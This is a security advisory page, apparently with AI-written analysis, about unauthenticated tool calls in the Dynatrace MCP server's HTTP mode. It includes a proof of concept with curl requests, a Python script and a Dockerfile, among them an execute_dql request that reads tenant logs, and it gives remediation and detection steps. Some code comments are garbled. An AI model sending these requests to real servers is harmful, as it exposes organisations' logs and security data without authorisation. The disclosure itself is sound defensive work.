GHSA-p7w7-4929-vpj5: `@dynatrace-oss/dynatrace-mcp-server` has Unauthenticated HTTP MCP Tool Invocation
The Dynatrace MCP server (@dynatrace-oss/dynatrace-mcp-server) in HTTP mode (--http) accepts MCP tool calls from anyone who can reach its port. Callers run tools such as execute_dql under the server's own Dynatrace credentials, so an attacker can read logs, security events and user sessions. Versions up to 1.8.7 are affected. Upgrade to 2.0.0.
Published Jul 31, 2026 · Analysis Oct 25, 2026
What an attacker can do
With --http, src/index.ts starts an HTTP server and builds a new StreamableHTTPServerTransport per request with sessionIdGenerator undefined. It checks no bearer token, session, Host header or Origin header. A raw JSON-RPC tools/call POST is parsed and passed straight to the transport.
Two tools were confirmed reachable without a human-approval gate. execute_dql runs any DQL query through an authenticated client, so an attacker can read Grail data: logs, security events, user sessions, metrics. create_dynatrace_notebook writes notebooks into the tenant. The send_event tool is not exploitable this way: its requestHumanApproval call throws for a plain HTTP caller and the write is blocked.
The attacker never sees the Dynatrace token. The server acts as a proxy that uses it. With --host 0.0.0.0, which the project documents, any host that can reach the port can exploit it with no interaction. Servers bound to localhost carry a smaller risk through DNS rebinding or a compromised process on the same machine. That is why the data panel shows high attack complexity and user interaction.
Who is affected
@dynatrace-oss/dynatrace-mcp-server up to and including 1.8.7. The report was confirmed on 1.8.5. Only deployments started with the --http flag are exposed; stdio use is not described as affected. Risk is highest with --host 0.0.0.0, in containers, or with the port exposed on a shared network.
Check the installed version and how you start the server:
npm ls @dynatrace-oss/dynatrace-mcp-server
npm ls -g @dynatrace-oss/dynatrace-mcp-serverThen search your service definitions, Dockerfiles and MCP client configs for --http.
@dynatrace-oss/dynatrace-mcp-server
- Ecosystem
- npm
- Affected
- <= 1.8.7
- Fixed in
- 2.0.0
- Check
npm ls @dynatrace-oss/dynatrace-mcp-server
How to fix it
Upgrade to 2.0.0:
npm install @dynatrace-oss/[email protected]The release notes list bearer token authentication for HTTP mode (PR 536), a default bind to 127.0.0.1 (PR 538) and DNS rebinding protection (PR 540). They do not name the new flag or variable for the token, so read the project README before enabling it. The same release removes the create_workflow_for_notification and make_workflow_public tools, a marked breaking change.
The advisory gives no other workaround. If you cannot upgrade, stop using --http, or keep the port bound to localhost and firewalled from untrusted hosts. Consider rotating the Dynatrace platform token if the port was exposed.
How to tell if you were hit
Check network logs and any reverse proxy in front of the server for POST requests to the HTTP port from unexpected addresses, especially JSON-RPC bodies with method tools/call and tool names execute_dql, create_dynatrace_notebook or reset_grail_budget. Requests arriving without an Authorization header are the pattern in the proof of concept. In Dynatrace, review audit logs and Grail query history for DQL you did not run, and list notebooks in the tenant for names you do not recognise. Confirm which servers run with --http and which interfaces they bind.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
@dynatrace-oss/dynatrace-mcp-server v1.8.5 exposes an HTTP transport mode (--http flag) that performs no authentication, session validation, or origin/host verification before dispatching MCP tool calls. Any network-reachable attacker can send a raw JSON-RPC tools/call request without an Authorization header and have it executed directly under the victim server's Dynatrace credentials. Confirmed high-impact tools reachable without authentication include execute_dql (reads arbitrary Grail data, including logs, security events, and user sessions) and create_dynatrace_notebook (writes notebooks to the tenant).
Details
When the server is started with the --http flag, an HTTP server is created at src/index.ts:1621. For every inbound request the handler creates a new StreamableHTTPServerTransport instance:
// src/index.ts:1638-1640
const httpTransport = new StreamableHTTPServerTransport({
sessionIdGenerator: undefined, // No Session ID needed
});No bearer-token check, session token, Host allowlist, or Origin allowlist is configured on either the transport or in the surrounding request handler. The raw body is parsed and handed directly to the transport:
// src/index.ts:1648-1668
body = JSON.parse(rawBody);
...
await httpTransport.handleRequest(req, res, body);Two tools are directly reachable by an unauthenticated HTTP caller without any requestHumanApproval gate:
`execute_dql` — Confidentiality: High
// src/index.ts:746-769
// No requestHumanApproval before createAuthenticatedHttpClient
const dtClient = await createAuthenticatedHttpClient(scopesBase.concat('storage:buckets:read', ...));
return executeDql(dtClient, { query });An attacker can run arbitrary DQL queries (logs, security events, user sessions, metrics) using the victim's Dynatrace credentials.
`create_dynatrace_notebook` — Integrity: Low
// src/index.ts:1593-1600
// No requestHumanApproval before createAuthenticatedHttpClient
const dtClient = await createAuthenticatedHttpClient(scopesBase.concat('document:write'));
return createNotebook(dtClient, { name, sections });An attacker can create notebooks under the victim's tenant.
Note on `send_event`: The initial static report claimed send_event was also unguarded. Code inspection at src/index.ts:1367 confirms a requestHumanApproval call exists inside the send_event handler. An HTTP attacker (no MCP elicitation loop) causes that call to throw, and the catch block returns false, effectively blocking the write. The send_event path is therefore not exploitable via the HTTP attack vector.
Note on PoC tool `reset_grail_budget`: The PoC uses reset_grail_budget (src/index.ts:1218-1239), which performs no Dynatrace API calls — it resets in-memory budget counters only. It is used purely as a safe, self-contained proof that unauthenticated dispatch works; actual data exfiltration requires execute_dql with real credentials.
PoC
Environment setup (Docker):
# Build from repository root
docker build \
-t dynatrace-mcp-vuln001:latest \
-f /path/to/vuln-001/Dockerfile \
/path/to/dynatrace-mcp/repo
# Run — abc12345 in hostname activates demo mode, skipping real API connectivity check
docker run -d \
--name dynatrace-mcp-vuln001-test \
-p 127.0.0.1:3999:3999 \
-e DT_ENVIRONMENT=https://abc12345.apps.dynatrace.com \
-e DT_PLATFORM_TOKEN=fake-token-for-poc \
dynatrace-mcp-vuln001:latest \
--http --port 3999 --host 0.0.0.0Unauthenticated tool invocation (no `Authorization` header):
curl -sS -N -X POST http://127.0.0.1:3999/ \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'Mcp-Protocol-Version: 2025-03-26' \
--data '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"reset_grail_budget","arguments":{}}}'Observed response (HTTP 200, no authentication required):
HTTP/1.1 200 OK
content-type: text/event-stream
event: message
data: {"result":{"content":[{"type":"text","text":"✅ **Grail Budget Reset Successfully!**\n\nBudget status after reset:\n- Total bytes scanned: 0 bytes (0 GB)\n- Budget limit: 5000 GB\n- Remaining budget: 5000 GB\n- Budget exceeded: No"}]},"jsonrpc":"2.0","id":1}Python PoC script (automated, with server-readiness polling):
python3 poc.py 127.0.0.1 3999
# Exits 0 on confirmed unauthenticated tool execution
# Exits 2 if server correctly returns HTTP 401 (patched)High-impact variant with real credentials — data exfiltration via `execute_dql`:
curl -sS -N -X POST http://<server>:3000/ \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'Mcp-Protocol-Version: 2025-03-26' \
--data '{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "execute_dql",
"arguments": {
"query": "fetch logs | limit 10"
}
}
}'Recommended remediation:
--- a/src/index.ts
+++ b/src/index.ts
+import { timingSafeEqual } from 'node:crypto';
+ .option('--http-auth-token <token>', 'bearer token required for HTTP server mode')
+ const httpAuthToken = options.httpAuthToken || process.env.DT_MCP_HTTP_AUTH_TOKEN;
+
+ const isAuthorizedHttpRequest = (req: IncomingMessage): boolean => {
+ const expected = httpAuthToken ? Buffer.from(`Bearer ${httpAuthToken}`) : undefined;
+ const actualHeader = req.headers.authorization;
+ if (!expected || !actualHeader) return false;
+ const actual = Buffer.from(actualHeader);
+ return actual.length === expected.length && timingSafeEqual(actual, expected);
+ };
if (httpMode) {
+ if (!httpAuthToken) {
+ console.error('HTTP mode requires --http-auth-token or DT_MCP_HTTP_AUTH_TOKEN.');
+ process.exit(1);
+ }
const httpServer = createServer(async (req, res) => {
+ if (!isAuthorizedHttpRequest(req)) {
+ res.writeHead(401, { 'Content-Type': 'application/json', 'WWW-Authenticate': 'Bearer' });
+ res.end(JSON.stringify({ jsonrpc: '2.0', id: null, error: { code: -32001, message: 'Unauthorized' } }));
+ return;
+ }
const httpTransport = new StreamableHTTPServerTransport({
sessionIdGenerator: undefined,
+ enableDnsRebindingProtection: true,
+ allowedHosts: [`${host}:${httpPort}`, `127.0.0.1:${httpPort}`, `localhost:${httpPort}`],
});Impact
This is a Missing Authentication for Critical Function vulnerability. The HTTP transport mode acts as an unauthenticated proxy to the victim's Dynatrace tenant: any attacker who can reach the server port can read sensitive observability data (logs, security events, user sessions, metrics) via execute_dql and write notebook documents via create_dynatrace_notebook, all under the configured Dynatrace credentials without needing to know those credentials.
Who is impacted: Organizations running dynatrace-mcp-server with the --http flag enabled — particularly deployments using --host 0.0.0.0 (documented and supported), container deployments, or any deployment where the port is reachable from an untrusted network. Localhost-only deployments are at reduced but non-zero risk via DNS rebinding or same-host compromise. With --host 0.0.0.0 the attack requires no user interaction and no complex conditions, raising the effective CVSS score to 9.3.
Reproduction artifacts
Dockerfile
# VULN-001: Unauthenticated HTTP MCP Tool Invocation (CWE-306)
# build stage - text sourcefrom dynatrace-mcp-server build
FROM node:22.21.1-alpine3.22 AS build
WORKDIR /app
# repo copy the full repo source (hosttext clone repo pathfrom textand build)
COPY . .
RUN npm ci
RUN npm run build
# runtime textonly install (dist/package.json criteria)
RUN cd dist && npm install --ignore-scripts && npm cache clean --force
# runtime stage
FROM node:22.21.1-alpine3.22
WORKDIR /app
COPY --from=build --chown=node:node /app/dist /app/dist
USER node
# environment variable: fake Dynatrace credentials (actual API calltext without reset_grail_budget PoCtext)
# abc12345 contains when isDemoEnvironment=true → text text skip (src/index.ts:179)
ENV DT_ENVIRONMENT=https://abc12345.apps.dynatrace.com
ENV DT_PLATFORM_TOKEN=fake-token-for-poc
# HTTP text server start (--http: vulnerability text flag)
ENTRYPOINT ["node", "dist/index.js"]
CMD ["--http", "--port", "3999", "--host", "0.0.0.0"]poc.py
#!/usr/bin/env python3
"""
VULN-001 PoC: Unauthenticated HTTP MCP Tool Invocation (CWE-306)
Proof objective:
dynatrace-mcp-servertext --http text executetext when, Authorization headertext
session token text tools/call requesttext sendand MCP tooltext executeto do can existstext proof.
Attack target tool: reset_grail_budget
- actual Dynatrace API call text in-memory statusonly secondstext (textbeforetext PoC target)
- success response: "Grail Budget Reset Successfully" string contains
usage:
python3 poc.py [host] [port]
python3 poc.py 127.0.0.1 3999
"""
import sys
import socket
import time
import json
HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3999
TIMEOUT = 15
def wait_for_server(host: str, port: int, retries: int = 20, delay: float = 1.0) -> bool:
for i in range(retries):
try:
s = socket.create_connection((host, port), timeout=2)
s.close()
return True
except (ConnectionRefusedError, OSError):
print(f"[*] server wait in progress... ({i+1}/{retries})", flush=True)
time.sleep(delay)
return False
def send_unauthenticated_mcp_call(host: str, port: int) -> dict:
"""
without an authentication header MCP tools/call send request.
vulnerability: StreamableHTTPServerTransport create when sessionIdGenerator: undefinedonly configuration,
Bearer token/Origin/Host verification beforetext none (src/index.ts:1638-1640).
"""
payload = json.dumps({
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "reset_grail_budget",
"arguments": {}
}
})
# authentication header textas omit - textthattext vulnerability prooftext key point
request = (
f"POST / HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
f"Content-Type: application/json\r\n"
f"Accept: application/json, text/event-stream\r\n"
f"Mcp-Protocol-Version: 2025-03-26\r\n"
f"Content-Length: {len(payload)}\r\n"
f"Connection: close\r\n"
f"\r\n"
f"{payload}"
)
s = socket.create_connection((host, port), timeout=TIMEOUT)
s.sendall(request.encode())
response_chunks = []
s.settimeout(TIMEOUT)
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
response_chunks.append(chunk.decode("utf-8", errors="replace"))
except socket.timeout:
pass
s.close()
return "".join(response_chunks)
def main():
print(f"[VULN-001 PoC] Unauthenticated HTTP MCP Tool Invocation")
print(f"[*] target: http://{HOST}:{PORT}/")
print(f"[*] authentication header: none (text omit - vulnerability proof)")
print(f"[*] call tool: reset_grail_budget")
print()
# wait for server readiness
print(f"[*] waiting for server response...")
if not wait_for_server(HOST, PORT):
print(f"[FAIL] {HOST}:{PORT} from server is not responding.")
sys.exit(1)
print(f"[*] server connection succeeded")
print(f"[*] without authentication tools/call send request...")
print()
raw_response = send_unauthenticated_mcp_call(HOST, PORT)
print("=== HTTP response raw text ===")
print(raw_response)
print("=== response text ===")
print()
# evidence verification
# HTTP 401 Unauthorizedtext returnif it becomes vulnerability none (textdone)
if "401" in raw_response and "Unauthorized" in raw_response:
print("[FAIL] servertext 401 Unauthorizedtext returntext - authenticationtext textbecomes exists")
print("[conclusion] vulnerabilitytext text authenticationtext enabledbecomes exists.")
sys.exit(2)
# success condition: reset_grail_budget result text contains
if "Grail Budget Reset Successfully" in raw_response:
print("[PASS] without authentication MCP tool execute success!")
print("[evidence] responsetext 'Grail Budget Reset Successfully' contains")
print("[conclusion] VULN-001 confirmed: --http textfrom without authentication tools/call execute possible")
sys.exit(0)
# jsonrpc result parse attempt
for line in raw_response.split("\n"):
line = line.strip()
if line.startswith("data:") or line.startswith("{"):
try:
data_str = line[5:].strip() if line.startswith("data:") else line
data = json.loads(data_str)
if "result" in data:
print("[PASS] JSON-RPC result received - without authentication tool call success")
print(f"[evidence] {json.dumps(data, ensure_ascii=False)}")
sys.exit(0)
if "error" in data:
err = data["error"]
print(f"[INFO] JSON-RPC error response: code={err.get('code')}, message={err.get('message')}")
except json.JSONDecodeError:
pass
print("[INCOMPLETE] expected response patterntext text text.")
print("[text] above response raw texttext check this.")
sys.exit(3)
if __name__ == "__main__":
main()Credited to EQSTLab, 232-323, yotampe-pluto.
Questions
- Is the Dynatrace MCP server affected if I use it over stdio?
The advisory describes only the HTTP transport started with --http. It does not say stdio mode is affected, because the flaw is missing authentication on the HTTP listener.
- Can an attacker steal my Dynatrace API token?
The advisory does not claim that. The attacker uses the token indirectly: tools run under the server's credentials, so they can read Grail data via execute_dql and create notebooks.
- Which version fixes the missing authentication?
2.0.0. Versions up to 1.8.7 are affected. The 2.0.0 release adds bearer token auth, a 127.0.0.1 default bind and DNS rebinding protection for HTTP mode.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-77361
obsidian-tc : Symlink read-ACL scope bypass via lexical path checks
medium4.7Oct 23, 2026CVE-2026-114126
Storybook dev server vulnerable to code injection from the local network
high8.7Oct 22, 2026CVE-2026-113731
djust: Arbitrary absolute-path file read in the find_handlers_for_template MCP tool
low3.3Oct 21, 2026CVE-2026-114125
Storybook: Missing origin validation in Storybook preview allows code injection from malicious websites
critical9.4Oct 21, 2026CVE-2026-111770
MCP TypeScript server SDK: Shared transport or server instances delivered one HTTP client's messages to another
high7.7Oct 20, 2026GHSA-953h-535j-jg2v
agent-router: MCP session resume does not verify the embedded anti-hijacking subject; default Helm seed makes session IDs forgeable
medium6.8Oct 19, 2026
